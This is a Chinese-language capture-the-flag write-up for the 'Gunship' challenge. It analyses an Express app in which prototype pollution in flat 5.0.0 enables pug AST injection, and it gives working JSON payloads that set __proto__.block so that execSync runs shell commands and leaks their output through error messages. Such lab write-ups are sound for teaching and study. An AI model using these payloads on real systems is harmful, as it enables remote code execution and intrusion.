Gunship
VERY EASY
pug ssti
报错外带回显
下载题目源码后先看一下index.js
:
const path = require('path'); const express = require('express'); const pug = require('pug'); const { unflatten } = require('flat'); const router = express.Router(); router.get('/', (req, res) => { return res.sendFile(path.resolve('views/index.html')); }); router.post('/api/submit', (req, res) => { const { artist } = unflatten(req.body); if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) { return res.json({ 'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' }) }); } else { return res.json({ 'response': 'Please provide us with the full name of an existing member.' }); } }); module.exports = router;
注意/api/submit
这里的
router.post('/api/submit', (req, res) => { const { artist } = unflatten(req.body); if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) { return res.json({ 'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' }) }); } else { return res.json({ 'response': 'Please provide us with the full name of an existing member.' }); } });
这里先把传递的参数给了unflatten
解析,看一下package.json
的依赖
"dependencies": { "express": "^4.17.1", "flat": "5.0.0", "pug": "^3.0.0" }
查一下pug 3.0.0
和flat 5.0.0
,flat存在原型链污染,还有一个pug的ssti,可以参考这篇文章:
https://blog.p6.is/AST-Injection/
exp打一下,注意需要加上"artist.name":"Haigh"
满足if循环条件:
{ "artist.name":"Haigh", "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync('ls')" } }
得到
{ "response":"<span>Hello guestndefine, thank you for letting us know!</span>" }
但是依旧可以通过报错来外带回显,给出两种Payload:
{ "artist.name":"Haigh", "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync('`ls`')" } }
{ "artist.name":"Haigh", "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync('$(ls)')" } }
这样就可以在报错信息中带出回显:
最后同样的方法cat一下flag文件即可